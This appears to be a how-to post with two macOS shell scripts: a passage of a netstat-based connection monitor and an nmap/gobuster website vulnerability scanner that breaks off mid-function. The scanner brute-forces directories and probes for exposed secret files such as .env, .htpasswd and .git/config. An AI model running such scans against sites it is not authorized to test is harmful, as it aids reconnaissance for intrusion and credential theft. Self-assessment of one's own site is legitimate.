YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
WHITE='\033[1;37m'
GRAY='\033[0;90m'
NC='\033[0m' # No Color
BOLD='\033[1m'

# Function to get process name from PID
get_process_name() {
    local pid=$1
    if [ "$pid" != "-" ] && [ "$pid" != "0" ] && [ -n "$pid" ]; then
        ps -p "$pid" -o comm= 2>/dev/null || echo "unknown"
    else
        echo "-"
    fi
}

# Function to color-code based on state
get_state_color() {
    local state=$1
    case "$state" in
        "ESTABLISHED")
            echo "${GREEN}"
            ;;
        "LISTEN")
            echo "${BLUE}"
            ;;
        "TIME_WAIT")
            echo "${YELLOW}"
            ;;
        "CLOSE_WAIT")
            echo "${MAGENTA}"
            ;;
        "SYN_SENT"|"SYN_RCVD")
            echo "${CYAN}"
            ;;
        "FIN_WAIT"*)
            echo "${GRAY}"
            ;;
        "CLOSING"|"LAST_ACK")
            echo "${RED}"
            ;;
        *)
            echo "${WHITE}"
            ;;
    esac
}

# Function to split address into IP and port
split_address() {
    local addr=$1
    local ip=""
    local port=""
    
    if [[ "$addr" == "*"* ]]; then
        ip="*"
        port="*"
    elif [[ "$addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
        # IPv4 address with port (format: x.x.x.x.port)
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*):([0-9]+)$ ]]; then
        # Handle IPv6 format or hostname:port
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*)\.(well-known|[a-z]+)$ ]]; then
        # Handle named services
        ip="${match[1]}"
        port="${match[2]}"
    else
        ip="$addr"
        port="-"
    fi
    
    echo "$ip|$port"
}

# Function to check if connection matches filters
matches_filter() {
    local remote_ip=$1
    local remote_port=$2
    
    # Check port filter
    if [ -n "$FILTER_PORT" ] && [ "$remote_port" != "$FILTER_PORT" ]; then
        return 1
    fi
    
    # Check IP filter
    if [ -n "$FILTER_IP" ]; then
        # Handle partial IP matching
        if [[ "$remote_ip" != *"$FILTER_IP"* ]]; then
            return 1
        fi
    fi
    
    return 0
}

# Function to display connections
show_connections() {
    clear
    
    # Header
    echo -e "${BOLD}${WHITE}=== Network Connections Monitor ===${NC}"
    echo -e "${BOLD}${WHITE}$(date '+%Y-%m-%d %H:%M:%S')${NC}"
    
    # Show active filters
    if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
        echo -e "${YELLOW}Active Filters:${NC}"
        [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
        [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
    fi
    echo ""
    
    # Legend
    echo -e "${BOLD}Color Legend:${NC}"
    echo -e "  ${GREEN}●${NC} ESTABLISHED    ${BLUE}●${NC} LISTEN         ${YELLOW}●${NC} TIME_WAIT"
    echo -e "  ${CYAN}●${NC} SYN_SENT/RCVD  ${MAGENTA}●${NC} CLOSE_WAIT     ${RED}●${NC} CLOSING/LAST_ACK"
    echo -e "  ${GRAY}●${NC} FIN_WAIT       ${WHITE}●${NC} OTHER/UDP"
    echo ""
    
    # Table header
    printf "${BOLD}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
        "PROTO" "LOCAL ADDRESS" "REMOTE IP" "R.PORT" "STATE" "PID" "PROCESS"
    echo "$(printf '%.0s-' {1..120})"
    
    # Temporary file for storing connections
    TMPFILE=$(mktemp)
    
    # Get TCP connections with netstat
    # Note: On macOS, we need sudo to see process info for all connections
    if command -v sudo >/dev/null 2>&1; then
        # Try with sudo first (will show all processes)
        sudo netstat -anp tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    else
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    fi
    
    # Process TCP connections
    while IFS= read -r line; do
        # Parse netstat output (macOS format)
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        state=$(echo "$line" | awk '{print $6}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i TCP:$port -sTCP:$state 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # Get color based on state
        color=$(get_state_color "$state")
        
        # Format and print
        printf "${color}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Get UDP connections
    echo ""
    if command -v sudo >/dev/null 2>&1; then
        sudo netstat -anp udp 2>/dev/null | grep -E '^udp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    else
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    fi
    
    # Process UDP connections
    while IFS= read -r line; do
        # Parse netstat output for UDP
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # UDP doesn't have state
        state="*"
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i UDP:$port 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # White color for UDP
        printf "${WHITE}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Clean up
    rm -f "$TMPFILE"
    
    # Footer
    echo ""
    echo "$(printf '%.0s-' {1..120})"
    echo -e "${BOLD}Press Ctrl+C to exit${NC} | Refreshing every 5 seconds..."
    
    # Show filter hint if no filters active
    if [ -z "$FILTER_PORT" ] && [ -z "$FILTER_IP" ]; then
        echo -e "${GRAY}Tip: Use --port PORT or --ip IP to filter connections${NC}"
    fi
}

# Trap Ctrl+C to exit cleanly
trap 'echo -e "\n${BOLD}Exiting...${NC}"; exit 0' INT

# Main loop
echo -e "${BOLD}${CYAN}Starting Network Connection Monitor...${NC}"
echo -e "${YELLOW}Note: Run with sudo for complete process information${NC}"

# Show active filters on startup
if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
    echo -e "${GREEN}Filtering enabled:${NC}"
    [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
    [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
fi

sleep 2

while true; do
    show_connections
    sleep 5
done
EOF

chmod +x ~/netmon.sh

Example Usuage:

# Show all connections
./netmon.sh

# Filter by port
./netmon.sh --port 443

# Filter by IP
./netmon.sh --ip 142.251

# Run with sudo for full process information
sudo ./netmon.sh --port 443

Macbook: Useful/Basic NMAP script to check for vulnerabilities and create a formatted report

If you want to quickly health check your website, then the following script is a simple NMAP script that scans your site for common issues and formats the results in a nice report style.

#!/bin/bash

# Nmap Vulnerability Scanner with Severity Grouping, TLS checks, and Directory Discovery
# Usage: ./vunscan.sh <target_domain>

# Colors for output
RED='\033[0;31m'
ORANGE='\033[0;33m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color

# Check if target is provided
if [ $# -eq 0 ]; then
    echo "Usage: $0 <target_domain>"
    echo "Example: $0 example.com"
    exit 1
fi

TARGET=$1
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="vuln_scan_${TARGET}_${TIMESTAMP}"
RAW_OUTPUT="${OUTPUT_DIR}/raw_scan.xml"
OPEN_PORTS=""

# Debug output
echo "DEBUG: TARGET=$TARGET"
echo "DEBUG: TIMESTAMP=$TIMESTAMP"
echo "DEBUG: OUTPUT_DIR=$OUTPUT_DIR"
echo "DEBUG: RAW_OUTPUT=$RAW_OUTPUT"

# Create output directory
mkdir -p "$OUTPUT_DIR"
if [ ! -d "$OUTPUT_DIR" ]; then
    echo -e "${RED}Error: Failed to create output directory $OUTPUT_DIR${NC}"
    exit 1
fi

echo "================================================================"
echo "         Vulnerability Scanner for $TARGET"
echo "================================================================"
echo "Scan started at: $(date)"
echo "Results will be saved in: $OUTPUT_DIR"
echo ""

# Function to print section headers
print_header() {
    echo -e "\n${BLUE}================================================================${NC}"
    echo -e "${BLUE}$1${NC}"
    echo -e "${BLUE}================================================================${NC}"
}

# Function to run nmap scan
run_scan() {
    print_header "Running Comprehensive Vulnerability Scan"
    echo "This may take several minutes…"
    
    # First, determine which ports are open
    echo "Phase 1: Port discovery..."
    echo "Scanning for open ports (this may take a while)..."
    
    # Try a faster scan first on common ports
    nmap -p 1-1000,8080,8443,3306,5432,27017 --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null
    
    # If user wants full scan, uncomment the next line and comment the previous one
    # nmap -p- --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports.txt" 2>/dev/null
    
    # Extract open ports
    if [ -f "${OUTPUT_DIR}/open_ports_quick.txt" ]; then
        OPEN_PORTS=$(grep -oE '[0-9]+/open' "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    fi
    
    # If no ports found, try common web ports
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports found in quick scan. Checking common web ports...${NC}"
        
        # Test common ports individually
        COMMON_PORTS="80,443,8080,8443,22,21,25,3306,5432"
        OPEN_PORTS=""
        
        for port in $(echo $COMMON_PORTS | tr ',' ' '); do
            echo -n "Testing port $port... "
            if nmap -p $port --open "$TARGET" 2>/dev/null | grep -q "open"; then
                echo "open"
                if [ -z "$OPEN_PORTS" ]; then
                    OPEN_PORTS="$port"
                else
                    OPEN_PORTS="$OPEN_PORTS,$port"
                fi
            else
                echo "closed/filtered"
            fi
        done
    fi
    
    # Final fallback
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports detected. Using default web ports for scanning.${NC}"
        OPEN_PORTS="80,443"
    fi
    
    echo ""
    echo "Ports to scan: $OPEN_PORTS"
    echo ""
    
    # Main vulnerability scan with http-vulners-regex
    echo "Phase 2: Vulnerability scanning..."
    nmap -sV -sC --script vuln,http-vulners-regex \
         --script-args vulns.showall,http-vulners-regex.paths={/} \
         -p "$OPEN_PORTS" \
         -oX "$RAW_OUTPUT" \
         -oN "${OUTPUT_DIR}/scan_normal.txt" \
         "$TARGET"
    
    if [ $? -ne 0 ]; then
        echo -e "${RED}Error: Nmap scan failed${NC}"
        # Don't exit, continue with other scans
    fi
}

# Function to parse and categorize vulnerabilities
parse_vulnerabilities() {
    print_header "Parsing and Categorizing Vulnerabilities"
    
    # Initialize arrays
    declare -a critical_vulns=()
    declare -a high_vulns=()
    declare -a medium_vulns=()
    declare -a low_vulns=()
    declare -a info_vulns=()
    
    # Create temporary files for each severity
    CRITICAL_FILE="${OUTPUT_DIR}/critical.tmp"
    HIGH_FILE="${OUTPUT_DIR}/high.tmp"
    MEDIUM_FILE="${OUTPUT_DIR}/medium.tmp"
    LOW_FILE="${OUTPUT_DIR}/low.tmp"
    INFO_FILE="${OUTPUT_DIR}/info.tmp"
    
    # Clear temp files
    > "$CRITICAL_FILE"
    > "$HIGH_FILE"
    > "$MEDIUM_FILE"
    > "$LOW_FILE"
    > "$INFO_FILE"
    
    # Parse XML output for vulnerabilities
    if [ -f "$RAW_OUTPUT" ]; then
        # Extract script output and categorize by common vulnerability indicators
        grep -A 20 '<script id=".*vuln.*"' "$RAW_OUTPUT" | while read line; do
            if echo "$line" | grep -qi "CRITICAL\|CVE.*CRITICAL\|score.*9\|score.*10"; then
                echo "$line" >> "$CRITICAL_FILE"
            elif echo "$line" | grep -qi "HIGH\|CVE.*HIGH\|score.*[7-8]"; then
                echo "$line" >> "$HIGH_FILE"
            elif echo "$line" | grep -qi "MEDIUM\|CVE.*MEDIUM\|score.*[4-6]"; then
                echo "$line" >> "$MEDIUM_FILE"
            elif echo "$line" | grep -qi "LOW\|CVE.*LOW\|score.*[1-3]"; then
                echo "$line" >> "$LOW_FILE"
            elif echo "$line" | grep -qi "INFO\|INFORMATION"; then
                echo "$line" >> "$INFO_FILE"
            fi
        done
        
        # Also parse normal output for vulnerability information
        if [ -f "${OUTPUT_DIR}/scan_normal.txt" ]; then
            # Look for common vulnerability patterns in normal output
            grep -E "(CVE-|VULNERABLE|State: VULNERABLE)" "${OUTPUT_DIR}/scan_normal.txt" | while read vuln_line; do
                if echo "$vuln_line" | grep -qi "critical\|9\.[0-9]\|10\.0"; then
                    echo "$vuln_line" >> "$CRITICAL_FILE"
                elif echo "$vuln_line" | grep -qi "high\|[7-8]\.[0-9]"; then
                    echo "$vuln_line" >> "$HIGH_FILE"
                elif echo "$vuln_line" | grep -qi "medium\|[4-6]\.[0-9]"; then
                    echo "$vuln_line" >> "$MEDIUM_FILE"
                elif echo "$vuln_line" | grep -qi "low\|[1-3]\.[0-9]"; then
                    echo "$vuln_line" >> "$LOW_FILE"
                else
                    echo "$vuln_line" >> "$INFO_FILE"
                fi
            done
        fi
    fi
}

# Function to display vulnerabilities by severity
display_results() {
    print_header "VULNERABILITY SCAN RESULTS"
    
    # Critical Vulnerabilities
    echo -e "\n${RED}🔴 CRITICAL SEVERITY VULNERABILITIES${NC}"
    echo "=================================================="
    if [ -s "${OUTPUT_DIR}/critical.tmp" ]; then
        cat "${OUTPUT_DIR}/critical.tmp" | head -20
        CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
        echo -e "${RED}Total Critical: $CRITICAL_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No critical vulnerabilities found${NC}"
    fi
    
    # High Vulnerabilities
    echo -e "\n${ORANGE}🟠 HIGH SEVERITY VULNERABILITIES${NC}"
    echo "============================================="
    if [ -s "${OUTPUT_DIR}/high.tmp" ]; then
        cat "${OUTPUT_DIR}/high.tmp" | head -15
        HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
        echo -e "${ORANGE}Total High: $HIGH_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No high severity vulnerabilities found${NC}"
    fi
    
    # Medium Vulnerabilities
    echo -e "\n${YELLOW}🟡 MEDIUM SEVERITY VULNERABILITIES${NC}"
    echo "==============================================="
    if [ -s "${OUTPUT_DIR}/medium.tmp" ]; then
        cat "${OUTPUT_DIR}/medium.tmp" | head -10
        MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
        echo -e "${YELLOW}Total Medium: $MEDIUM_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No medium severity vulnerabilities found${NC}"
    fi
    
    # Low Vulnerabilities
    echo -e "\n${BLUE}🔵 LOW SEVERITY VULNERABILITIES${NC}"
    echo "=========================================="
    if [ -s "${OUTPUT_DIR}/low.tmp" ]; then
        cat "${OUTPUT_DIR}/low.tmp" | head -8
        LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
        echo -e "${BLUE}Total Low: $LOW_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No low severity vulnerabilities found${NC}"
    fi
    
    # Information/Other
    echo -e "\n${GREEN}ℹ️  INFORMATIONAL${NC}"
    echo "========================="
    if [ -s "${OUTPUT_DIR}/info.tmp" ]; then
        cat "${OUTPUT_DIR}/info.tmp" | head -5
        INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
        echo -e "${GREEN}Total Info: $INFO_COUNT${NC}"
    else
        echo "No informational items found"
    fi
}

# Function to run gobuster scan for enhanced directory discovery
run_gobuster_scan() {
    echo "Running gobuster directory scan..."
    
    GOBUSTER_RESULTS="${OUTPUT_DIR}/gobuster_results.txt"
    PERMISSION_ANALYSIS="${OUTPUT_DIR}/gobuster_permissions.txt"
    > "$PERMISSION_ANALYSIS"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Scanning $PROTOCOL://$TARGET:$port with gobuster..."
        
        # Run gobuster with common wordlist
        if [ -f "/usr/share/wordlists/dirb/common.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirb/common.txt"
        elif [ -f "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
        else
            # Create a small built-in wordlist
            WORDLIST="${OUTPUT_DIR}/temp_wordlist.txt"
            cat > "$WORDLIST" <<EOF
admin
administrator
api
backup
bin
cgi-bin
config
data
database
db
debug
dev
development
doc
docs
documentation
download
downloads
error
errors
export
files
hidden
images
img
include
includes
js
library
log
logs
manage
management
manager
media
old
private
proc
public
resources
scripts
secret
secure
server-status
staging
static
storage
system
temp
templates
test
testing
tmp
upload
uploads
users
var
vendor
web
webapp
wp-admin
wp-content
.git
.svn
.env
.htaccess
.htpasswd
robots.txt
sitemap.xml
web.config
phpinfo.php
info.php
test.php
EOF
        fi
        
        # Run gobuster with status code analysis
        gobuster dir -u "$PROTOCOL://$TARGET:$port" \
                    -w "$WORDLIST" \
                    -k \
                    -t 10 \
                    --no-error \
                    -o "${GOBUSTER_RESULTS}_${port}.txt" \
                    -s "200,204,301,302,307,401,403,405" 2>/dev/null
        
        # Analyze results for permission issues
        if [ -f "${GOBUSTER_RESULTS}_${port}.txt" ]; then
            echo "Analyzing gobuster results for permission issues..."
            
            # Check for 403 Forbidden directories
            grep "Status: 403" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${ORANGE}[403 Forbidden]${NC} $PROTOCOL://$TARGET:$port$dir - Directory exists but access denied" >> "$PERMISSION_ANALYSIS"
                echo -e "${ORANGE}  Permission Issue:${NC} $PROTOCOL://$TARGET:$port$dir (403 Forbidden)"
            done
            
            # Check for 401 Unauthorized directories
            grep "Status: 401" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${YELLOW}[401 Unauthorized]${NC} $PROTOCOL://$TARGET:$port$dir - Authentication required" >> "$PERMISSION_ANALYSIS"
                echo -e "${YELLOW}  Auth Required:${NC} $PROTOCOL://$TARGET:$port$dir (401 Unauthorized)"
            done
            
            # Check for directory listing enabled (potentially dangerous)
            grep "Status: 200" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                # Check if it's a directory by looking for trailing slash or common directory patterns
                if [[ "$dir" =~ /$ ]] || [[ ! "$dir" =~ \. ]]; then
                    # Test if directory listing is enabled
                    RESPONSE=$(curl -k -s --max-time 5 "$PROTOCOL://$TARGET:$port$dir" 2>/dev/null)
                    if echo "$RESPONSE" | grep -qi "index of\|directory listing\|parent directory\|<pre>\|<dir>"; then
                        echo -e "${RED}[Directory Listing Enabled]${NC} $PROTOCOL://$TARGET:$port$dir - SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                        echo -e "${RED}  🚨 Directory Listing:${NC} $PROTOCOL://$TARGET:$port$dir"
                    fi
                fi
            done
            
            # Check for sensitive files with incorrect permissions
            for sensitive_file in ".git/config" ".env" ".htpasswd" "web.config" "phpinfo.php" "info.php" ".DS_Store" "Thumbs.db"; do
                if grep -q "/$sensitive_file.*Status: 200" "${GOBUSTER_RESULTS}_${port}.txt"; then
                    echo -e "${RED}[Sensitive File Exposed]${NC} $PROTOCOL://$TARGET:$port/$sensitive_file - CRITICAL SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                    echo -e "${RED}  🚨 Sensitive File:${NC} $PROTOCOL://$TARGET:$port/$sensitive_file"
                fi
            done
        fi
    done
    
    # Clean up temporary wordlist if created
    [ -f "${OUTPUT_DIR}/temp_wordlist.txt" ] && rm -f "${OUTPUT_DIR}/temp_wordlist.txt"
    
    # Display permission analysis summary
    if [ -s "$PERMISSION_ANALYSIS" ]; then
        echo ""
        echo -e "${ORANGE}=== Directory Permission Issues Summary ===${NC}"
        cat "$PERMISSION_ANALYSIS"
        
        # Count different types of issues
        FORBIDDEN_COUNT=$(grep -c "403 Forbidden" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        UNAUTH_COUNT=$(grep -c "401 Unauthorized" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        LISTING_COUNT=$(grep -c "Directory Listing Enabled" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        SENSITIVE_COUNT=$(grep -c "Sensitive File Exposed" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        
        echo ""
        echo "Permission Issue Statistics:"
        echo "  - 403 Forbidden directories: $FORBIDDEN_COUNT"
        echo "  - 401 Unauthorized directories: $UNAUTH_COUNT"
        echo "  - Directory listings enabled: $LISTING_COUNT"
        echo "  - Sensitive files exposed: $SENSITIVE_COUNT"
    fi
}

# Function to run TLS/SSL checks
run_tls_checks() {
    print_header "Running TLS/SSL Security Checks"
    
    # Check for HTTPS ports
    HTTPS_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '443|8443' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$HTTPS_PORTS" ]; then
        HTTPS_PORTS="443"
        echo "No HTTPS ports found in scan, checking default port 443..."
    fi
    
    echo "Checking TLS/SSL on ports: $HTTPS_PORTS"
    
    # Run SSL scan using nmap ssl scripts
    nmap -sV --script ssl-cert,ssl-enum-ciphers,ssl-known-key,ssl-ccs-injection,ssl-heartbleed,ssl-poodle,sslv2,tls-alpn,tls-nextprotoneg \
         -p "$HTTPS_PORTS" \
         -oN "${OUTPUT_DIR}/tls_scan.txt" \
         "$TARGET" 2>/dev/null
    
    # Parse TLS results
    TLS_ISSUES_FILE="${OUTPUT_DIR}/tls_issues.txt"
    > "$TLS_ISSUES_FILE"
    
    # Check for weak ciphers
    if grep -q "TLSv1.0\|SSLv2\|SSLv3" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "CRITICAL: Outdated SSL/TLS protocols detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for weak cipher suites
    if grep -q "DES\|RC4\|MD5" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "HIGH: Weak cipher suites detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for certificate issues
    if grep -q "expired\|self-signed" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "MEDIUM: Certificate issues detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Display TLS results
    echo ""
    if [ -s "$TLS_ISSUES_FILE" ]; then
        echo -e "${RED}TLS/SSL Issues Found:${NC}"
        cat "$TLS_ISSUES_FILE"
    else
        echo -e "${GREEN}✓ No major TLS/SSL issues detected${NC}"
    fi
    echo ""
}

# Function to run directory busting and permission checks
run_dirbuster() {
    print_header "Running Directory Discovery and Permission Checks"
    
    # Check for web ports
    WEB_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '^(80|443|8080|8443)$' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$WEB_PORTS" ]; then
        echo "No standard web ports found in open ports, checking defaults..."
        WEB_PORTS="80,443"
    fi
    
    echo "Running directory discovery on web ports: $WEB_PORTS"
    
    # Check if gobuster is available
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}Using gobuster for enhanced directory discovery and permission checks${NC}"
        run_gobuster_scan
    else
        echo -e "${YELLOW}Gobuster not found. Using fallback method.${NC}"
        echo -e "${YELLOW}Install gobuster for enhanced directory permission checks: brew install gobuster${NC}"
    fi
    
    # Use nmap's http-enum script for directory discovery
    nmap -sV --script http-enum \
         --script-args http-enum.basepath='/' \
         -p "$WEB_PORTS" \
         -oN "${OUTPUT_DIR}/dirbuster.txt" \
         "$TARGET" 2>/dev/null
    
    # Common directory wordlist (built-in small list)
    COMMON_DIRS="admin administrator backup api config test dev staging uploads download downloads files documents images img css js scripts cgi-bin wp-admin phpmyadmin .git .svn .env .htaccess robots.txt sitemap.xml"
    
    # Quick check for common directories using curl
    DIRS_FOUND_FILE="${OUTPUT_DIR}/directories_found.txt"
    > "$DIRS_FOUND_FILE"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Checking common directories on $PROTOCOL://$TARGET:$port"
        
        for dir in $COMMON_DIRS; do
            URL="$PROTOCOL://$TARGET:$port/$dir"
            STATUS=$(curl -k -s -o /dev/null -w "%{http_code}" --max-time 3 "$URL" 2>/dev/null)
            
            if [[ "$STATUS" == "200" || "$STATUS" == "301" || "$STATUS" == "302" || "$STATUS" == "401" || "$STATUS" == "403" ]]; then
                echo "[$STATUS] $URL" >> "$DIRS_FOUND_FILE"
                echo -e "${GREEN}Found:${NC} [$STATUS] $URL"
                
                # Check for permission issues
                if [[ "$STATUS" == "403" ]]; then
                    echo -e "${ORANGE}  ⚠️  Permission denied (403) - Possible misconfiguration${NC}"
                    echo "[PERMISSION ISSUE] 403 Forbidden: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                elif [[ "$STATUS" == "401" ]]; then
                    echo -e "${YELLOW}  🔒 Authentication required (401)${NC}"
                    echo "[AUTH REQUIRED] 401 Unauthorized: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                fi
            fi
        done
    done
    
    # Display results
    echo ""
    if [ -s "$DIRS_FOUND_FILE" ]; then
        echo -e "${YELLOW}Directories/Files discovered:${NC}"
        cat "$DIRS_FOUND_FILE"
    else
        echo "No additional directories found"
    fi
    
    # Display permission issues if found
    if [ -s "${OUTPUT_DIR}/permission_issues.txt" ]; then
        echo ""
        echo -e "${ORANGE}Directory Permission Issues Found:${NC}"
        cat "${OUTPUT_DIR}/permission_issues.txt"
    fi
    echo ""
}

# Function to generate summary report
generate_summary() {
    print_header "SCAN SUMMARY"
    
    CRITICAL_COUNT=0
    HIGH_COUNT=0
    MEDIUM_COUNT=0
    LOW_COUNT=0
    INFO_COUNT=0
    
    [ -f "${OUTPUT_DIR}/critical.tmp" ] && CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
    [ -f "${OUTPUT_DIR}/high.tmp" ] && HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
    [ -f "${OUTPUT_DIR}/medium.tmp" ] && MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
    [ -f "${OUTPUT_DIR}/low.tmp" ] && LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
    [ -f "${OUTPUT_DIR}/info.tmp" ] && INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
    
    echo "Target: $TARGET"
    echo "Scan Date: $(date)"
    echo ""
    echo -e "${RED}Critical:       $CRITICAL_COUNT${NC}"
    echo -e "${ORANGE}High:           $HIGH_COUNT${NC}"
    echo -e "${YELLOW}Medium:         $MEDIUM_COUNT${NC}"
    echo -e "${BLUE}Low:            $LOW_COUNT${NC}"
    echo -e "${GREEN}Informational:  $INFO_COUNT${NC}"
    echo ""
    
    TOTAL=$((CRITICAL_COUNT + HIGH_COUNT + MEDIUM_COUNT + LOW_COUNT))
    echo "Total Vulnerabilities: $TOTAL"
    
    # Risk assessment
    if [ $CRITICAL_COUNT -gt 0 ]; then
        echo -e "${RED}🚨 RISK LEVEL: CRITICAL - Immediate action required!${NC}"
    elif [ $HIGH_COUNT -gt 0 ]; then
        echo -e "${ORANGE}⚠️  RISK LEVEL: HIGH - Action required soon${NC}"
    elif [ $MEDIUM_COUNT -gt 0 ]; then
